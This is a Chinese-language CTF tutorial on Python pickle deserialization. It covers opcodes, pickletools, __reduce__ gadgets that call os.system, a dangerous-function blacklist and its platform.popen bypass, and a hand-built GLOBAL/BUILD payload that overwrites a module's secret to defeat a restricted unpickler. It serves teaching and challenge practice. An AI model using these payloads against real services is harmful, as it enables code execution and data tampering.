V2AS问路
从零开始的pickle反序列化学习
阅读原文时间：2022年04月08日阅读：3

前言

在XCTF高校战疫之中，我看到了一道pickle反序列化的题目，但因为太菜了花了好久才做出来，最近正好在学flask，直接配合pickle学一下。

找了半天终于找到一个大佬，这里就结合大佬的文章写一下。

目录：

  1. Pickle的简单介绍
  2. pickletools
  3. __reduce__
  4. c操作码
  5. 参考

正文

0x00　　Pickle的简单介绍

　　在很多任务中我们需要把一些内容存储起来，以备后续利用。如果我们要存储的只是字符串或者数字，我们只需要把它写进文件。而要是我们需要存储的是一个dict，一个list，甚至是一个对象时，就会很麻烦。通行的做法是：通过一套方案，把对象翻译成一个字符串，然后把字符串写进文件；读取的时候，通过读文件拿到字符串，然后翻译成类的一个实例。这就是序列化和反序列化。下面写一个例子：

import pickle

class dairy():
　　data=1

x = dairy()
print(pickle.dumps(x))
#b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01.'
string = b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01.'
y = pickle.loads(string)
print(y)

<__main__.dairy object at 0x7fb6cfb30290>

pickle 是一种栈语言，有不同的编写方式，基于一个轻量的 PVM

PVM 由三部分组成：

  • 指令处理器

    从流中读取 opcode 和参数，并对其进行解释处理。重复这个动作，直到遇到 . 这个结束符后停止。

    最终留在栈顶的值将被作为反序列化对象返回。

  • stack

    由 Python 的 list 实现，被用来临时存储数据、参数以及对象。

  • memo

    由 Python 的 dict 实现，为 PVM 的整个生命周期提供存储

PS：注意下 stack、memo 的实现方式，方便理解下面的指令。默认版本为3号，而我们最经常用的是0号。以下内容都是0号版本。

当前用于 pickling 的协议共有 5 种。使用的协议版本越高，读取生成的 pickle 所需的 Python 版本就要越新。

--v0 版协议是原始的 “人类可读” 协议，并且向后兼容早期版本的 Python。

--v1 版协议是较早的二进制格式，它也与早期版本的 Python 兼容。

--v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进，请参阅 PEP 307。

--v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持，且无法被 Python 2.x 打开。这是目前默认使用的协议，也是在要求与其他 Python 3 版本兼容时的推荐协议。

--v4 版协议添加于 Python 3.4。它支持存储非常大的对象，能存储更多种类的对象，还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息，请参阅 PEP 3154。

指令集:

MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

0x01　　pickletools

　　现在越来越多的CTF题目已经不满足于让你用以下的脚本getshell了。

import os, pickle
​
class Test(object):
def __reduce__(self):
return (os.system,('ls',))

print(pickle.dumps(Test(), protocol=0))
​

　　所以手写pickle已经成为了日常。而学习手写pickle的一个最好的工具就是 pickletools 。pickletools是python自带的pickle调试器，有三个功能：反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。我们一般使用前两种。

示例代码：

import pickle
import pickletools
class dairy():
def __init__(self): #别犯傻啊
self.date = 20200311
self.text = "QWQ"
self.todo = ["Web","cypto","misc"]

x = dairy()
s = pickle.dumps(x)
print(s)
pickletools.dis(s)

运行结果：

b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00dateq\x03Jw;4\x01X\x04\x00\x00\x00textq\x04X\x03\x00\x00\x00QWQq\x05X\x04\x00\x00\x00todoq\x06]q\x07(X\x03\x00\x00\x00Webq\x08X\x05\x00\x00\x00cyptoq\tX\x04\x00\x00\x00miscq\neub.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ dairy'
18: q BINPUT 0
20: ) EMPTY_TUPLE
21: \x81 NEWOBJ
22: q BINPUT 1
24: } EMPTY_DICT
25: q BINPUT 2
27: ( MARK
28: X BINUNICODE 'date'
37: q BINPUT 3
39: J BININT 20200311
44: X BINUNICODE 'text'
53: q BINPUT 4
55: X BINUNICODE 'QWQ'
63: q BINPUT 5
65: X BINUNICODE 'todo'
74: q BINPUT 6
76: ] EMPTY_LIST
77: q BINPUT 7
79: ( MARK
80: X BINUNICODE 'Web'
88: q BINPUT 8
90: X BINUNICODE 'cypto'
100: q BINPUT 9
102: X BINUNICODE 'misc'
111: q BINPUT 10
113: e APPENDS (MARK at 79)
114: u SETITEMS (MARK at 27)
115: b BUILD
116: . STOP
highest protocol among opcodes = 2

这就是反汇编功能：解析那个字符串，然后告诉你这个字符串干了些什么。每一行都是一条指令。接下来就是优化功能：

import pickle
import pickletools
class dairy():
def __init__(self): #别犯傻啊
self.date = 20200311
self.text = "QWQ"
self.todo = ["Web","cypto","misc"]

x = dairy()
s = pickle.dumps(x)
s =pickletools.optimize(s)
print(s)
pickletools.dis(s)

运行结果：

b'\x80\x03c__main__\ndairy\n)\x81}(X\x04\x00\x00\x00dateJw;4\x01X\x04\x00\x00\x00textX\x03\x00\x00\x00QWQX\x04\x00\x00\x00todo](X\x03\x00\x00\x00WebX\x05\x00\x00\x00cyptoX\x04\x00\x00\x00misceub.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ dairy'
18: ) EMPTY_TUPLE
19: \x81 NEWOBJ
20: } EMPTY_DICT
21: ( MARK
22: X BINUNICODE 'date'
31: J BININT 20200311
36: X BINUNICODE 'text'
45: X BINUNICODE 'QWQ'
53: X BINUNICODE 'todo'
62: ] EMPTY_LIST
63: ( MARK
64: X BINUNICODE 'Web'
72: X BINUNICODE 'cypto'
82: X BINUNICODE 'misc'
91: e APPENDS (MARK at 63)
92: u SETITEMS (MARK at 21)
93: b BUILD
94: . STOP
highest protocol among opcodes = 2

　　可以看到，字符串s比以前短了很多，而且反汇编结果中，BINPUT指令没有了。所谓“优化”，其实就是把不必要的PUT指令给删除掉。这个PUT意思是把当前栈的栈顶复制一份，放进储存区——很明显，我们这个class并不需要这个操作，可以省略掉这些PUT指令。

　　至于反序列化的原理，太菜了怕讲不好，直接看大佬的文章就好了。（就在参考里）

PS: 使用pickletools.dis分析一个字符串时，如果.执行完毕之后栈里面还有东西，会抛出一个错误；而pickle.loads没有这么严格的检查——它会正常结束。大家应该都知道反序列化字符串的拼接吧。（不知道可以去看看BUUCTF的piapiapia这道题）。通过这种方式我们就有可能实现反序列化字符串的拼接。

0x02　　__reduce__：快消失的方法

　　说到 pickle 反序列化漏洞，__reduce__ 可以说是万恶之源了。它的指令码是 R 。它的作用：

  • 取当前栈的栈顶记为args，然后把它弹掉。

  • 取当前栈的栈顶记为f，然后把它弹掉。

  • 以args为参数，执行函数f，把结果压进当前栈。

    　  测试脚本上面有，跟像我一样的新人说一下吧，__reduce__ 就像是 PHP 中的 __wakeup 即触发反序列化就自动调用。（这个漏洞现在真的快灭绝了，想要看保护动物的可以去BUUCTF的ikun。有一步就是这个。）回到正题，怎么过滤掉 __reduce__ 呢？很简单，直接禁用 R 操作码就可以了。现在大多数的CTF题目都过滤了 R 操作码，那么不用 __reduce__ 我们还有什么方法呢？

0x02.5　　黑名单就不是防黑客的QwQ(我真是取标题鬼才)

　　2018-XCTF-HITB-WEB : Python's-Revenge的过滤是这样的，没有直接白名单，反而用黑名单禁用了一串函数：

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

　　是是是，你禁用多，但是黑名单在CTF的环境下基本上都是有漏网之鱼的。这道题也不例外，漏网之鱼就是 platform.popen() 。你不禁用 R 指令，那么就用R指令。另外，这道题考的好像是另一个点：

class Exploit(object):
def __reduce__(self):
return map,(os.system,["ls"])

我根本不知道map能这么做。（太菜了）。反正黑名单不可取就对了。

0x03　　c操作码:真正的万金油

　　上面说过c操作码即GLOBAL操作符。它连续读取两个字符串module和name，规定以\n为分割；接下来把module.name这个东西压进栈。

PS：GLOBAL操作符读取全局变量，是使用的find_class函数。而find_class对于不同的协议版本实现也不一样。总之，它干的事情是“去x模块找到y”，y必须在x的顶层（也即，y不能在嵌套的内层）。

　　所以在这样的任务下：给出一个字符串，反序列化之后，name和grade需要与blue这个module里面的name、grade相对应。（这个例子直接用大佬的图吧）。

　　不能用R指令码了，不过没关系。还记得我们的c指令码吗？它专门用来获取一个全局变量。我们先弄一个正常的Student来看看序列化之后的效果：

　　如何用c指令来换掉这两个字符串呢？以name的为例，只需要把硬编码的rxz改成从blue引入的name，写成指令就是：cblue\nname\n。把用于编码rxz的X\x03\x00\x00\x00rxz替换成我们的这个global指令，来看看改造之后的效果：

　　我个人的理解是，直接取出 blue.py 中对应的变量的值，拿它来当做自己传入的值。

　　这样我们输入就相当于是 blue.py 中的变量了。但是这样就万无一失了吗？

0x04　　c操作符的真正用法

　　上面的方法是有局限的，c操作符是依赖 find_class 这个方法的，而 find_class 是可以被出题人重写的。不幸的是，现在好多出题人都喜欢重写find_class。比如：XCTF高校战疫的一道题。

import base64
import io
import sys
import pickle

app = Flask(__name__)

class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def \_\_repr\_\_(self):  
    return f'Animal(name={self.name!r}, category={self.category!r})'

def \_\_eq\_\_(self, other):  
    return type(other) is Animal and self.name == other.name and self.category == other.category

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()

@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':  
    try:  
        pickle\_data = request.form.get('data')  
        if b'R' in base64.b64decode(pickle\_data):  
            return 'No... I don\\'t like R-things. No Rabits, Rats, Roosters or RCEs.'  
        else:  
            result = restricted\_loads(base64.b64decode(pickle\_data))  
            if type(result) is not Animal:  
                return 'Are you sure that is an animal???'  
        correct = (result == Animal(secret.name, secret.category))  
        return render\_template('unpickle\_result.html', result=result, pickle\_data=pickle\_data, giveflag=correct)  
    except Exception as e:  
        print(repr(e))  
        return "Something wrong"

sample\_obj = Animal('一给我哩giaogiao', 'Giao')  
pickle\_data = base64.b64encode(pickle.dumps(sample\_obj)).decode()  
return render\_template('unpickle\_page.html', sample\_obj=sample\_obj, pickle\_data=pickle\_data)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

　　审计源码之后我们发现这道题和之前的目的一模一样。但是因为 find_class 被重写，所以之前的方法用不了了。那么怎么办呢？

　　首先我们要知道：通过GLOBAL指令引入的变量，可以看作是原变量的引用。我们在栈上修改它的值，会导致原变量也被修改。然后我们就可进行以下操作：

  • 通过__main__.secret引入这一个module，由于命名空间还在main内，故不会被拦截

  • 把一个dict压进栈，内容是{'name': 'rua', 'category': 'www'}

  • 执行BUILD指令，会导致改写 __main__.secret.name和 __main__.secret.category ，至此 secret.name和secret.grade已经被篡改成我们想要的内容

  • 弹掉栈顶，现在栈变成空的

  • 照抄正常的Animal序列化之后的字符串，压入一个正常的Animal对象，name和category分别是'rua'和'www'

    　　由于栈顶是正常的Animal对象，pickle.loads将会正常返回。到手的Animal对象，当然name和category都与secret.name、secret.category对应了——我们刚刚亲手把secret篡改掉。

所以我们可以构造出payload:

payload = b'\x80\x03c__main__\nsecret\n}(Vname\nVrua\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.'

写出脚本测试：

import io
import sys
import pickle

class Animal():
def __init__(self,name,category):
self.name = name
self.category = category
def __eq__(self,other):
return type(other) is Animal and self.name == other.name and self.category == other.category

print(pickle.dumps(Animal('rxz','G2')))
import secret

s = b'\x80\x03c__main__\nsecret\n}(Vname\nVrua\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.'
#s = pickletools.optimize(s)

#pickletools.dis(s)
#print(s)

res = pickle.loads(s)
print(f"{res.name};{res.category}")

运行结果：篡改成功

稍微修改一下就是最终payload。

参考

https://www.zhihu.com/tardis/sogou/art/89132768

https://www.anquanke.com/post/id/188981

。。有点像搬运了。。反正侵权请联系好吧。

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章

day 23 模块2